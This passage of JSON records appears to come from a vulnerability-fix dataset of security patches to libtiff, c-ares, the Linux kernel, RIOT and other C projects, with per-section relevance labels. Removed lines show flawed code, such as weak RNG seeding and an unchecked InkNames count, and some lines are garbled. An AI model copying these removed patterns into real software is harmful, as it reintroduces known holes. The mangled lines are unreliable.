"@@ -3536,12 +3542,8 @@ unsigned char *DecodeDataBase64(const unsigned char *data, int *outputSize)\n // Ref: https://github.com/raysan5/raylib/issues/686\n void OpenURL(const char *url)\n {\n- // Small security check trying to avoid (partially) malicious code...\n- // sorry for the inconvenience when you hit this point...\n- if (strchr(url, '\\'') != NULL)\n- {\n- TRACELOG(LOG_WARNING, \"SYSTEM: Provided URL is not valid\");\n- }\n+ // Security check to (aprtially) avoid malicious code on PLATFORM_WEB\n+ if (strchr(url, '\\'') != NULL) TRACELOG(LOG_WARNING, \"SYSTEM: Provided URL could be potentially malicious, avoid [\\'] character\");\n else\n {\n #if defined(PLATFORM_DESKTOP)", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/kvm/vmx/nested.c", "commit_id": "112e66017bff7f2837030f34c2bc19501e9212d5", "commit_message": "KVM: nVMX: add missing consistency checks for CR0 and CR4\n\nThe effective values of the guest CR0 and CR4 registers may differ from\nthose included in the VMCS12. In particular, disabling EPT forces\nCR4.PAE=1 and disabling unrestricted guest mode forces CR0.PG=CR0.PE=1.\n\nTherefore, checks on these bits cannot be delegated to the processor\nand must be performed by KVM.\n\nReported-by: Reima ISHII \nCc: stable@vger.kernel.org\nSigned-off-by: Paolo Bonzini ", "patch": "@@ -3022,7 +3022,7 @@ static int nested_vmx_check_guest_state(struct kvm_vcpu *vcpu,\n \t\t\t\t\tstruct vmcs12 *vmcs12,\n \t\t\t\t\tenum vm_entry_failure_code *entry_failure_code)\n {\n-\tbool ia32e;\n+\tbool ia32e = !!(vmcs12->vm_entry_controls & VM_ENTRY_IA32E_MODE);\n \n \t*entry_failure_code = ENTRY_FAIL_DEFAULT;\n \n@@ -3048,6 +3048,13 @@ static int nested_vmx_check_guest_state(struct kvm_vcpu *vcpu,\n \t\t\t\t\t vmcs12->guest_ia32_perf_global_ctrl)))\n \t\treturn -EINVAL;\n \n+\tif (CC((vmcs12->guest_cr0 & (X86_CR0_PG | X86_CR0_PE)) == X86_CR0_PG))\n+\t\treturn -EINVAL;\n+\n+\tif (CC(ia32e && !(vmcs12->guest_cr4 & X86_CR4_PAE)) ||\n+\t CC(ia32e && !(vmcs12->guest_cr0 & X86_CR0_PG)))\n+\t\treturn -EINVAL;\n+\n \t/*\n \t * If the load IA32_EFER VM-entry control is 1, the following checks\n \t * are performed on the field for the IA32_EFER MSR:\n@@ -3059,7 +3066,6 @@ static int nested_vmx_check_guest_state(struct kvm_vcpu *vcpu,\n \t */\n \tif (to_vmx(vcpu)->nested.nested_run_pending &&\n \t (vmcs12->vm_entry_controls & VM_ENTRY_LOAD_IA32_EFER)) {\n-\t\tia32e = (vmcs12->vm_entry_controls & VM_ENTRY_IA32E_MODE) != 0;\n \t\tif (CC(!kvm_valid_efer(vcpu, vmcs12->guest_ia32_efer)) ||\n \t\t CC(ia32e != !!(vmcs12->guest_ia32_efer & EFER_LMA)) ||\n \t\t CC(((vmcs12->guest_cr0 & X86_CR0_PG) &&", "sections": [{"section": "@@ -3022,7 +3022,7 @@ static int nested_vmx_check_guest_state(struct kvm_vcpu *vcpu,\n \t\t\t\t\tstruct vmcs12 *vmcs12,\n \t\t\t\t\tenum vm_entry_failure_code *entry_failure_code)\n {\n-\tbool ia32e;\n+\tbool ia32e = !!(vmcs12->vm_entry_controls & VM_ENTRY_IA32E_MODE);\n \n \t*entry_failure_code = ENTRY_FAIL_DEFAULT;\n \n", "related": false}, {"section": "@@ -3048,6 +3048,13 @@ static int nested_vmx_check_guest_state(struct kvm_vcpu *vcpu,\n \t\t\t\t\t vmcs12->guest_ia32_perf_global_ctrl)))\n \t\treturn -EINVAL;\n \n+\tif (CC((vmcs12->guest_cr0 & (X86_CR0_PG | X86_CR0_PE)) == X86_CR0_PG))\n+\t\treturn -EINVAL;\n+\n+\tif (CC(ia32e && !(vmcs12->guest_cr4 & X86_CR4_PAE)) ||\n+\t CC(ia32e && !(vmcs12->guest_cr0 & X86_CR0_PG)))\n+\t\treturn -EINVAL;\n+\n \t/*\n \t * If the load IA32_EFER VM-entry control is 1, the following checks\n \t * are performed on the field for the IA32_EFER MSR:\n", "related": false}, {"section": "@@ -3059,7 +3066,6 @@ static int nested_vmx_check_guest_state(struct kvm_vcpu *vcpu,\n \t */\n \tif (to_vmx(vcpu)->nested.nested_run_pending &&\n \t (vmcs12->vm_entry_controls & VM_ENTRY_LOAD_IA32_EFER)) {\n-\t\tia32e = (vmcs12->vm_entry_controls & VM_ENTRY_IA32E_MODE) != 0;\n \t\tif (CC(!kvm_valid_efer(vcpu, vmcs12->guest_ia32_efer)) ||\n \t\t CC(ia32e != !!(vmcs12->guest_ia32_efer & EFER_LMA)) ||\n \t\t CC(((vmcs12->guest_cr0 & X86_CR0_PG) &&", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "netdissect.h", "commit_id": "03c037bbd75588beba3ee09f26d17783d21e30bc", "commit_message": "Have a common routine for converting dates and times to strings.\n\nHave a routine that takes a buffer, a strftime format, and a struct tm *\nas arguments, and:\n\n* checks whether the struct tm * is null and, if so, returns a string\nindicating that the date and time couldn't be converted;\n\n* otherwise, passes it to strftime(), along with the buffer and the\nformat argument and, if strftime() returns 0, meaning the string didn't\nfit into the buffer and thus that the buffer's contents are undefined,\nreturns a string indicating that the date and time didn't fit into the\nbuffer;\n\n* otherwise, returns a pointer to the buffer.\n\nCall that routine instead of directly calling strftime() in printers;\nthat prevents printing a buffer with undefined data if the buffer isn't\nbig enough for the string.\n\nAlso, when generating file names using an strftime format, check the\nreturn value of strftime() to make sure the buffer didn't overflow.", "patch": "@@ -423,6 +423,9 @@ extern void ts_print(netdissect_options *, const struct timeval *);\n extern void signed_relts_print(netdissect_options *, int32_t);\n extern void unsigned_relts_print(netdissect_options *, uint32_t);\n \n+extern const char *nd_format_time(char *buf, size_t bufsize,\n+ const char *format, const struct tm *timeptr);\n+\n extern void fn_print_char(netdissect_options *, u_char);\n extern void fn_print_str(netdissect_options *, const u_char *);\n extern u_int nd_printztn(netdissect_options *, const u_char *, u_int, const u_char *);", "sections": [{"section": "@@ -423,6 +423,9 @@ extern void ts_print(netdissect_options *, const struct timeval *);\n extern void signed_relts_print(netdissect_options *, int32_t);\n extern void unsigned_relts_print(netdissect_options *, uint32_t);\n \n+extern const char *nd_format_time(char *buf, size_t bufsize,\n+ const char *format, const struct tm *timeptr);\n+\n extern void fn_print_char(netdissect_options *, u_char);\n extern void fn_print_str(netdissect_options *, const u_char *);\n extern u_int nd_printztn(netdissect_options *, const u_char *, u_int, const u_char *);", "related": false}]} +{"owner": "kspalaiologos", "repo": "bzip3", "language": "C", "file_name": "include/common.h", "commit_id": "bfa5bf82b53715dfedf048e5859a46cf248668ff", "commit_message": "tentative libsais safety patches", "patch": "@@ -22,6 +22,7 @@\n \n #define KiB(x) ((x)*1024)\n #define MiB(x) ((x)*1024 * 1024)\n+#define BWT_BOUND(x) ((x) + 128)\n \n #include \n #include ", "sections": [{"section": "@@ -22,6 +22,7 @@\n \n #define KiB(x) ((x)*1024)\n #define MiB(x) ((x)*1024 * 1024)\n+#define BWT_BOUND(x) ((x) + 128)\n \n #include \n #include ", "related": false}]} +{"owner": "admesh", "repo": "admesh", "language": "C", "file_name": "src/normals.c", "commit_id": "5fab257268a0ee6f832c18d72af89810a29fbd5f", "commit_message": "Check the neighbor_index in stl_check_normal_vector\n\n\r\nFixes #60", "patch": "@@ -142,7 +142,8 @@ stl_fix_normal_directions(stl_file *stl) {\n }\n }\n /* If this edge of the facet is connected: */\n- if(stl->neighbors_start[facet_num].neighbor[j] != -1) {\n+ if(stl->neighbors_start[facet_num].neighbor[j] != -1 &&\n+ stl->neighbors_start[facet_num].neighbor[j] < stl->stats.number_of_facets*sizeof(char)) {\n /* If we haven't fixed this facet yet, add it to the list: */\n if(norm_sw[stl->neighbors_start[facet_num].neighbor[j]] != 1) {\n /* Add node to beginning of list. */", "sections": [{"section": "@@ -142,7 +142,8 @@ stl_fix_normal_directions(stl_file *stl) {\n }\n }\n /* If this edge of the facet is connected: */\n- if(stl->neighbors_start[facet_num].neighbor[j] != -1) {\n+ if(stl->neighbors_start[facet_num].neighbor[j] != -1 &&\n+ stl->neighbors_start[facet_num].neighbor[j] < stl->stats.number_of_facets*sizeof(char)) {\n /* If we haven't fixed this facet yet, add it to the list: */\n if(norm_sw[stl->neighbors_start[facet_num].neighbor[j]] != 1) {\n /* Add node to beginning of list. */", "related": false}]} +{"owner": "riot-os", "repo": "riot", "language": "Python", "file_name": "tests/gnrc_rpl_srh/tests-as-root/01-run.py", "commit_id": "34dc1757f5621be48e226cfebb2f4c63505b5360", "commit_message": "Merge pull request from GHSA-xjgw-7638-29g5\n\ngnrc_rpl_srh: check header fields consistency before substraction", "patch": "@@ -167,7 +167,7 @@ def test_wrong_type(child, iface, hw_dst, ll_dst, ll_src):\n pktbuf_empty(child)\n \n \n-def test_seg_left_gt_len_addresses(child, iface, hw_dst, ll_dst, ll_src):\n+def test_inconsistent_header(child, iface, hw_dst, ll_dst, ll_src):\n # send routing header with no (0) addresses but segleft set to a value\n # larger than 0\n p = srp1(Ether(dst=hw_dst) / IPv6(dst=ll_dst, src=ll_src) /\n@@ -176,7 +176,7 @@ def test_seg_left_gt_len_addresses(child, iface, hw_dst, ll_dst, ll_src):\n assert(p is not None)\n assert(ICMPv6ParamProblem in p)\n assert(p[ICMPv6ParamProblem].code == 0) # erroneous header field encountered\n- assert(p[ICMPv6ParamProblem].ptr == 43) # segleft field\n+ assert(p[ICMPv6ParamProblem].ptr == 41) # len field\n pktbuf_empty(child)\n \n \n@@ -348,7 +348,7 @@ def run(func):\n raise e\n \n run(test_wrong_type)\n- run(test_seg_left_gt_len_addresses)\n+ run(test_inconsistent_header)\n run(test_multicast_dst)\n run(test_multicast_addr)\n run(test_multiple_addrs_of_mine_uncomp)", "sections": [{"section": "@@ -167,7 +167,7 @@ def test_wrong_type(child, iface, hw_dst, ll_dst, ll_src):\n pktbuf_empty(child)\n \n \n-def test_seg_left_gt_len_addresses(child, iface, hw_dst, ll_dst, ll_src):\n+def test_inconsistent_header(child, iface, hw_dst, ll_dst, ll_src):\n # send routing header with no (0) addresses but segleft set to a value\n # larger than 0\n p = srp1(Ether(dst=hw_dst) / IPv6(dst=ll_dst, src=ll_src) /\n", "related": false}, {"section": "@@ -176,7 +176,7 @@ def test_seg_left_gt_len_addresses(child, iface, hw_dst, ll_dst, ll_src):\n assert(p is not None)\n assert(ICMPv6ParamProblem in p)\n assert(p[ICMPv6ParamProblem].code == 0) # erroneous header field encountered\n- assert(p[ICMPv6ParamProblem].ptr == 43) # segleft field\n+ assert(p[ICMPv6ParamProblem].ptr == 41) # len field\n pktbuf_empty(child)\n \n \n", "related": false}, {"section": "@@ -348,7 +348,7 @@ def run(func):\n raise e\n \n run(test_wrong_type)\n- run(test_seg_left_gt_len_addresses)\n+ run(test_inconsistent_header)\n run(test_multicast_dst)\n run(test_multicast_addr)\n run(test_multiple_addrs_of_mine_uncomp)", "related": false}]} +{"owner": "c-ares", "repo": "c-ares", "language": "C", "file_name": "src/lib/ares_init.c", "commit_id": "823df3b989e59465d17b0a2eb1239a5fc048b4e5", "commit_message": "Merge pull request from GHSA-8r8p-23f3-64c2\n\n* segment random number generation into own file\n\n* abstract random code to make it more modular so we can have multiple backends\n\n* rand: add support for arc4random_buf() and also direct CARES_RANDOM_FILE reading\n\n* autotools: fix detection of arc4random_buf\n\n* rework initial rc4 seed for PRNG as last fallback\n\n* rc4: more proper implementation, simplified for clarity\n\n* clarifications", "patch": "@@ -61,17 +61,6 @@\n #undef WIN32 /* Redefined in MingW/MSVC headers */\n #endif\n \n-/* Define RtlGenRandom = SystemFunction036. This is in advapi32.dll. There is\n- * no need to dynamically load this, other software used widely does not.\n- * http://blogs.msdn.com/michael_howard/archive/2005/01/14/353379.aspx\n- * https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtlgenrandom\n- */\n-#ifdef _WIN32\n-BOOLEAN WINAPI SystemFunction036(PVOID RandomBuffer, ULONG RandomBufferLength);\n-# ifndef RtlGenRandom\n-# define RtlGenRandom(a,b) SystemFunction036(a,b)\n-# endif\n-#endif\n \n static int init_by_options(ares_channel channel,\n const struct ares_options *options,\n@@ -87,7 +76,6 @@ static int config_nameserver(struct server_state **servers, int *nservers,\n static int set_search(ares_channel channel, const char *str);\n static int set_options(ares_channel channel, const char *str);\n static const char *try_option(const char *p, const char *q, const char *opt);\n-static int init_id_key(rc4_key* key,int key_data_len);\n \n static int config_sortlist(struct apattern **sortlist, int *nsort,\n const char *str);\n@@ -165,6 +153,7 @@ int ares_init_options(ares_channel *channelptr, struct ares_options *options,\n channel->sock_func_cb_data = NULL;\n channel->resolvconf_path = NULL;\n channel->hosts_path = NULL;\n+ channel->rand_state = NULL;\n \n channel->last_server = 0;\n channel->last_timeout_processed = (time_t)now.tv_sec;\n@@ -218,9 +207,13 @@ int ares_init_options(ares_channel *channelptr, struct ares_options *options,\n /* Generate random key */\n \n if (status == ARES_SUCCESS) {\n- status = init_id_key(&channel->id_key, ARES_ID_KEY_LEN);\n+ channel->rand_state = ares__init_rand_state();\n+ if (channel->rand_state == NULL) {\n+ status = ARES_ENOMEM;\n+ }\n+\n if (status == ARES_SUCCESS)\n- channel->next_id = ares__generate_new_id(&channel->id_key);\n+ channel->next_id = ares__generate_new_id(channel->rand_state);\n else\n DEBUGF(fprintf(stderr, \"Error: init_id_key failed: %s\\n\",\n ares_strerror(status)));\n@@ -242,6 +235,8 @@ int ares_init_options(ares_channel *channelptr, struct ares_options *options,\n ares_free(channel->resolvconf_path);\n if(channel->hosts_path)\n ares_free(channel->hosts_path);\n+ if (channel->rand_state)\n+ ares__destroy_rand_state(channel->rand_state);\n ares_free(channel);\n return status;\n }\n@@ -2182,72 +2177,6 @@ static int sortlist_alloc(struct apattern **sortlist, int *nsort,\n }\n \n \n-/* initialize an rc4 key. If possible a cryptographically secure random key\n- is generated using a suitable function otherwise the code defaults to\n- cross-platform albeit less secure mechanism using rand\n-*/\n-static void randomize_key(unsigned char* key,int key_data_len)\n-{\n- int randomized = 0;\n- int counter=0;\n-#ifdef WIN32\n- BOOLEAN res;\n-\n- res = RtlGenRandom(key, key_data_len);\n- if (res)\n- randomized = 1;\n-\n-#else /* !WIN32 */\n-# ifdef CARES_RANDOM_FILE\n- FILE *f = fopen(CARES_RANDOM_FILE, \"rb\");\n- if(f) {\n- setvbuf(f, NULL, _IONBF, 0);\n- counter = aresx_uztosi(fread(key, 1, key_data_len, f));\n- fclose(f);\n- }\n-# endif\n-#endif /* WIN32 */\n-\n- if (!randomized) {\n- for (;counterstate[0];\n- for(counter = 0; counter < 256; counter++)\n- /* unnecessary AND but it keeps some compilers happier */\n- state[counter] = (unsigned char)(counter & 0xff);\n- randomize_key(key->state,key_data_len);\n- key->x = 0;\n- key->y = 0;\n- index1 = 0;\n- index2 = 0;\n- for(counter = 0; counter < 256; counter++)\n- {\n- index2 = (unsigned char)((key_data_ptr[index1] + state[counter] +\n- index2) % 256);\n- ARES_SWAP_BYTE(&state[counter], &state[index2]);\n-\n- index1 = (unsigned char)((index1 + 1) % key_data_len);\n- }\n- ares_free(key_data_ptr);\n- return ARES_SUCCESS;\n-}\n-\n void ares_set_local_ip4(ares_channel channel, unsigned int local_ip)\n {\n channel->local_ip4 = local_ip;", "sections": [{"section": "@@ -61,17 +61,6 @@\n #undef WIN32 /* Redefined in MingW/MSVC headers */\n #endif\n \n-/* Define RtlGenRandom = SystemFunction036. This is in advapi32.dll. There is\n- * no need to dynamically load this, other software used widely does not.\n- * http://blogs.msdn.com/michael_howard/archive/2005/01/14/353379.aspx\n- * https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtlgenrandom\n- */\n-#ifdef _WIN32\n-BOOLEAN WINAPI SystemFunction036(PVOID RandomBuffer, ULONG RandomBufferLength);\n-# ifndef RtlGenRandom\n-# define RtlGenRandom(a,b) SystemFunction036(a,b)\n-# endif\n-#endif\n \n static int init_by_options(ares_channel channel,\n const struct ares_options *options,\n", "related": false}, {"section": "@@ -87,7 +76,6 @@ static int config_nameserver(struct server_state **servers, int *nservers,\n static int set_search(ares_channel channel, const char *str);\n static int set_options(ares_channel channel, const char *str);\n static const char *try_option(const char *p, const char *q, const char *opt);\n-static int init_id_key(rc4_key* key,int key_data_len);\n \n static int config_sortlist(struct apattern **sortlist, int *nsort,\n const char *str);\n", "related": false}, {"section": "@@ -165,6 +153,7 @@ int ares_init_options(ares_channel *channelptr, struct ares_options *options,\n channel->sock_func_cb_data = NULL;\n channel->resolvconf_path = NULL;\n channel->hosts_path = NULL;\n+ channel->rand_state = NULL;\n \n channel->last_server = 0;\n channel->last_timeout_processed = (time_t)now.tv_sec;\n", "related": true}, {"section": "@@ -218,9 +207,13 @@ int ares_init_options(ares_channel *channelptr, struct ares_options *options,\n /* Generate random key */\n \n if (status == ARES_SUCCESS) {\n- status = init_id_key(&channel->id_key, ARES_ID_KEY_LEN);\n+ channel->rand_state = ares__init_rand_state();\n+ if (channel->rand_state == NULL) {\n+ status = ARES_ENOMEM;\n+ }\n+\n if (status == ARES_SUCCESS)\n- channel->next_id = ares__generate_new_id(&channel->id_key);\n+ channel->next_id = ares__generate_new_id(channel->rand_state);\n else\n DEBUGF(fprintf(stderr, \"Error: init_id_key failed: %s\\n\",\n ares_strerror(status)));\n", "related": true}, {"section": "@@ -242,6 +235,8 @@ int ares_init_options(ares_channel *channelptr, struct ares_options *options,\n ares_free(channel->resolvconf_path);\n if(channel->hosts_path)\n ares_free(channel->hosts_path);\n+ if (channel->rand_state)\n+ ares__destroy_rand_state(channel->rand_state);\n ares_free(channel);\n return status;\n }\n", "related": true}, {"section": "@@ -2182,72 +2177,6 @@ static int sortlist_alloc(struct apattern **sortlist, int *nsort,\n }\n \n \n-/* initialize an rc4 key. If possible a cryptographically secure random key\n- is generated using a suitable function otherwise the code defaults to\n- cross-platform albeit less secure mechanism using rand\n-*/\n-static void randomize_key(unsigned char* key,int key_data_len)\n-{\n- int randomized = 0;\n- int counter=0;\n-#ifdef WIN32\n- BOOLEAN res;\n-\n- res = RtlGenRandom(key, key_data_len);\n- if (res)\n- randomized = 1;\n-\n-#else /* !WIN32 */\n-# ifdef CARES_RANDOM_FILE\n- FILE *f = fopen(CARES_RANDOM_FILE, \"rb\");\n- if(f) {\n- setvbuf(f, NULL, _IONBF, 0);\n- counter = aresx_uztosi(fread(key, 1, key_data_len, f));\n- fclose(f);\n- }\n-# endif\n-#endif /* WIN32 */\n-\n- if (!randomized) {\n- for (;counterstate[0];\n- for(counter = 0; counter < 256; counter++)\n- /* unnecessary AND but it keeps some compilers happier */\n- state[counter] = (unsigned char)(counter & 0xff);\n- randomize_key(key->state,key_data_len);\n- key->x = 0;\n- key->y = 0;\n- index1 = 0;\n- index2 = 0;\n- for(counter = 0; counter < 256; counter++)\n- {\n- index2 = (unsigned char)((key_data_ptr[index1] + state[counter] +\n- index2) % 256);\n- ARES_SWAP_BYTE(&state[counter], &state[index2]);\n-\n- index1 = (unsigned char)((index1 + 1) % key_data_len);\n- }\n- ares_free(key_data_ptr);\n- return ARES_SUCCESS;\n-}\n-\n void ares_set_local_ip4(ares_channel channel, unsigned int local_ip)\n {\n channel->local_ip4 = local_ip;", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "arch/x86/include/asm/uaccess_32.h", "commit_id": "4b842e4e25b12951fa10dedb4bc16bc47e3b850c", "commit_message": "x86: get rid of small constant size cases in raw_copy_{to,from}_user()\n\nVery few call sites where that would be triggered remain, and none\nof those is anywhere near hot enough to bother.\n\nSigned-off-by: Al Viro ", "patch": "@@ -23,33 +23,6 @@ raw_copy_to_user(void __user *to, const void *from, unsigned long n)\n static __always_inline unsigned long\n raw_copy_from_user(void *to, const void __user *from, unsigned long n)\n {\n-\tif (__builtin_constant_p(n)) {\n-\t\tunsigned long ret;\n-\n-\t\tswitch (n) {\n-\t\tcase 1:\n-\t\t\tret = 0;\n-\t\t\t__uaccess_begin_nospec();\n-\t\t\t__get_user_asm_nozero(*(u8 *)to, from, ret,\n-\t\t\t\t\t \"b\", \"b\", \"=q\", 1);\n-\t\t\t__uaccess_end();\n-\t\t\treturn ret;\n-\t\tcase 2:\n-\t\t\tret = 0;\n-\t\t\t__uaccess_begin_nospec();\n-\t\t\t__get_user_asm_nozero(*(u16 *)to, from, ret,\n-\t\t\t\t\t \"w\", \"w\", \"=r\", 2);\n-\t\t\t__uaccess_end();\n-\t\t\treturn ret;\n-\t\tcase 4:\n-\t\t\tret = 0;\n-\t\t\t__uaccess_begin_nospec();\n-\t\t\t__get_user_asm_nozero(*(u32 *)to, from, ret,\n-\t\t\t\t\t \"l\", \"k\", \"=r\", 4);\n-\t\t\t__uaccess_end();\n-\t\t\treturn ret;\n-\t\t}\n-\t}\n \treturn __copy_user_ll(to, (__force const void *)from, n);\n }\n ", "sections": [{"section": "@@ -23,33 +23,6 @@ raw_copy_to_user(void __user *to, const void *from, unsigned long n)\n static __always_inline unsigned long\n raw_copy_from_user(void *to, const void __user *from, unsigned long n)\n {\n-\tif (__builtin_constant_p(n)) {\n-\t\tunsigned long ret;\n-\n-\t\tswitch (n) {\n-\t\tcase 1:\n-\t\t\tret = 0;\n-\t\t\t__uaccess_begin_nospec();\n-\t\t\t__get_user_asm_nozero(*(u8 *)to, from, ret,\n-\t\t\t\t\t \"b\", \"b\", \"=q\", 1);\n-\t\t\t__uaccess_end();\n-\t\t\treturn ret;\n-\t\tcase 2:\n-\t\t\tret = 0;\n-\t\t\t__uaccess_begin_nospec();\n-\t\t\t__get_user_asm_nozero(*(u16 *)to, from, ret,\n-\t\t\t\t\t \"w\", \"w\", \"=r\", 2);\n-\t\t\t__uaccess_end();\n-\t\t\treturn ret;\n-\t\tcase 4:\n-\t\t\tret = 0;\n-\t\t\t__uaccess_begin_nospec();\n-\t\t\t__get_user_asm_nozero(*(u32 *)to, from, ret,\n-\t\t\t\t\t \"l\", \"k\", \"=r\", 4);\n-\t\t\t__uaccess_end();\n-\t\t\treturn ret;\n-\t\t}\n-\t}\n \treturn __copy_user_ll(to, (__force const void *)from, n);\n }\n ", "related": false}]} +{"owner": "libsdl-org", "repo": "libtiff", "language": "C", "file_name": "libtiff/tif_dir.c", "commit_id": "f00484b9519df933723deb38fff943dc291a793d", "commit_message": "Revised handling of TIFFTAG_INKNAMES and related TIFFTAG_NUMBEROFINKS value\n\nIn order to solve the buffer overflow issues related to TIFFTAG_INKNAMES and related TIFFTAG_NUMBEROFINKS value, a revised handling of those tags within LibTiff is proposed:\n\nBehaviour for writing:\n `NumberOfInks` MUST fit to the number of inks in the `InkNames` string.\n `NumberOfInks` is automatically set when `InkNames` is set.\n If `NumberOfInks` is different to the number of inks within `InkNames` string, that will be corrected and a warning is issued.\n If `NumberOfInks` is not equal to samplesperpixel only a warning will be issued.\n\nBehaviour for reading:\n When reading `InkNames` from a TIFF file, the `NumberOfInks` will be set automatically to the number of inks in `InkNames` string.\n If `NumberOfInks` is different to the number of inks within `InkNames` string, that will be corrected and a warning is issued.\n If `NumberOfInks` is not equal to samplesperpixel only a warning will be issued.\n\nThis allows the safe use of the NumberOfInks value to read out the InkNames without buffer overflow\n\nThis MR will close the following issues: #149, #150, #152, #168 (to be checked), #250, #269, #398 and #456.\n\nIt also fixes the old bug at http://bugzilla.maptools.org/show_bug.cgi?id=2599, for which the limitation of `NumberOfInks = SPP` was introduced, which is in my opinion not necessary and does not solve the general issue.", "patch": "@@ -136,32 +136,30 @@ setExtraSamples(TIFF* tif, va_list ap, uint32_t* v)\n }\n \n /*\n- * Confirm we have \"samplesperpixel\" ink names separated by \\0. Returns \n+ * Count ink names separated by \\0. Returns\n * zero if the ink names are not as expected.\n */\n-static uint32_t\n-checkInkNamesString(TIFF* tif, uint32_t slen, const char* s)\n+static uint16_t\n+countInkNamesString(TIFF *tif, uint32_t slen, const char *s)\n {\n-\tTIFFDirectory* td = &tif->tif_dir;\n-\tuint16_t i = td->td_samplesperpixel;\n+\tuint16_t i = 0;\n+\tconst char *ep = s + slen;\n+\tconst char *cp = s;\n \n \tif (slen > 0) {\n-\t\tconst char* ep = s+slen;\n-\t\tconst char* cp = s;\n-\t\tfor (; i > 0; i--) {\n+\t\tdo {\n \t\t\tfor (; cp < ep && *cp != '\\0'; cp++) {}\n \t\t\tif (cp >= ep)\n \t\t\t\tgoto bad;\n \t\t\tcp++;\t\t\t\t/* skip \\0 */\n-\t\t}\n-\t\treturn ((uint32_t)(cp - s));\n+\t\t\ti++;\n+\t\t} while (cp < ep);\n+\t\treturn (i);\n \t}\n bad:\n \tTIFFErrorExt(tif->tif_clientdata, \"TIFFSetField\",\n-\t \"%s: Invalid InkNames value; expecting %\"PRIu16\" names, found %\"PRIu16,\n-\t tif->tif_name,\n-\t td->td_samplesperpixel,\n-\t (uint16_t)(td->td_samplesperpixel-i));\n+\t\t\"%s: Invalid InkNames value; no NUL at given buffer end location %\"PRIu32\", after %\"PRIu16\" ink\",\n+\t\ttif->tif_name, slen, i);\n \treturn (0);\n }\n \n@@ -478,13 +476,61 @@ _TIFFVSetField(TIFF* tif, uint32_t tag, va_list ap)\n \t\t_TIFFsetFloatArray(&td->td_refblackwhite, va_arg(ap, float*), 6);\n \t\tbreak;\n \tcase TIFFTAG_INKNAMES:\n-\t\tv = (uint16_t) va_arg(ap, uint16_vap);\n-\t\ts = va_arg(ap, char*);\n-\t\tv = checkInkNamesString(tif, v, s);\n-\t\tstatus = v > 0;\n-\t\tif( v > 0 ) {\n-\t\t\t_TIFFsetNString(&td->td_inknames, s, v);\n-\t\t\ttd->td_inknameslen = v;\n+\t\t{\n+\t\t\tv = (uint16_t) va_arg(ap, uint16_vap);\n+\t\t\ts = va_arg(ap, char*);\n+\t\t\tuint16_t ninksinstring;\n+\t\t\tninksinstring = countInkNamesString(tif, v, s);\n+\t\t\tstatus = ninksinstring > 0;\n+\t\t\tif(ninksinstring > 0 ) {\n+\t\t\t\t_TIFFsetNString(&td->td_inknames, s, v);\n+\t\t\t\ttd->td_inknameslen = v;\n+\t\t\t\t/* Set NumberOfInks to the value ninksinstring */\n+\t\t\t\tif (TIFFFieldSet(tif, FIELD_NUMBEROFINKS))\n+\t\t\t\t{\n+\t\t\t\t\tif (td->td_numberofinks != ninksinstring) {\n+\t\t\t\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n+\t\t\t\t\t\t\t\"Warning %s; Tag %s:\\n Value %\"PRIu16\" of NumberOfInks is different from the number of inks %\"PRIu16\".\\n -> NumberOfInks value adapted to %\"PRIu16\"\",\n+\t\t\t\t\t\t\ttif->tif_name, fip->field_name, td->td_numberofinks, ninksinstring, ninksinstring);\n+\t\t\t\t\t\ttd->td_numberofinks = ninksinstring;\n+\t\t\t\t\t}\n+\t\t\t\t} else {\n+\t\t\t\t\ttd->td_numberofinks = ninksinstring;\n+\t\t\t\t\tTIFFSetFieldBit(tif, FIELD_NUMBEROFINKS);\n+\t\t\t\t}\n+\t\t\t\tif (TIFFFieldSet(tif, FIELD_SAMPLESPERPIXEL))\n+\t\t\t\t{\n+\t\t\t\t\tif (td->td_numberofinks != td->td_samplesperpixel) {\n+\t\t\t\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n+\t\t\t\t\t\t\t\"Warning %s; Tag %s:\\n Value %\"PRIu16\" of NumberOfInks is different from the SamplesPerPixel value %\"PRIu16\"\",\n+\t\t\t\t\t\t\ttif->tif_name, fip->field_name, td->td_numberofinks, td->td_samplesperpixel);\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t}\n+\t\t}\n+\t\tbreak;\n+\tcase TIFFTAG_NUMBEROFINKS:\n+\t\tv = (uint16_t)va_arg(ap, uint16_vap);\n+\t\t/* If InkNames already set also NumberOfInks is set accordingly and should be equal */\n+\t\tif (TIFFFieldSet(tif, FIELD_INKNAMES))\n+\t\t{\n+\t\t\tif (v != td->td_numberofinks) {\n+\t\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n+\t\t\t\t\t\"Error %s; Tag %s:\\n It is not possible to set the value %\"PRIu32\" for NumberOfInks\\n which is different from the number of inks in the InkNames tag (%\"PRIu16\")\",\n+\t\t\t\t\ttif->tif_name, fip->field_name, v, td->td_numberofinks);\n+\t\t\t\t/* Do not set / overwrite number of inks already set by InkNames case accordingly. */\n+\t\t\t\tstatus = 0;\n+\t\t\t}\n+\t\t} else {\n+\t\t\ttd->td_numberofinks = (uint16_t)v;\n+\t\t\tif (TIFFFieldSet(tif, FIELD_SAMPLESPERPIXEL))\n+\t\t\t{\n+\t\t\t\tif (td->td_numberofinks != td->td_samplesperpixel) {\n+\t\t\t\t\tTIFFErrorExt(tif->tif_clientdata, module,\n+\t\t\t\t\t\t\"Warning %s; Tag %s:\\n Value %\"PRIu32\" of NumberOfInks is different from the SamplesPerPixel value %\"PRIu16\"\",\n+\t\t\t\t\t\ttif->tif_name, fip->field_name, v, td->td_samplesperpixel);\n+\t\t\t\t}\n+\t\t\t}\n \t\t}\n \t\tbreak;\n \tcase TIFFTAG_PERSAMPLE:\n@@ -986,34 +1032,6 @@ _TIFFVGetField(TIFF* tif, uint32_t tag, va_list ap)\n \tif (fip->field_bit == FIELD_CUSTOM) {\n \t\tstandard_tag = 0;\n \t}\n-\t\n- if( standard_tag == TIFFTAG_NUMBEROFINKS )\n- {\n- int i;\n- for (i = 0; i < td->td_customValueCount; i++) {\n- uint16_t val;\n- TIFFTagValue *tv = td->td_customValues + i;\n- if (tv->info->field_tag != standard_tag)\n- continue;\n- if( tv->value == NULL 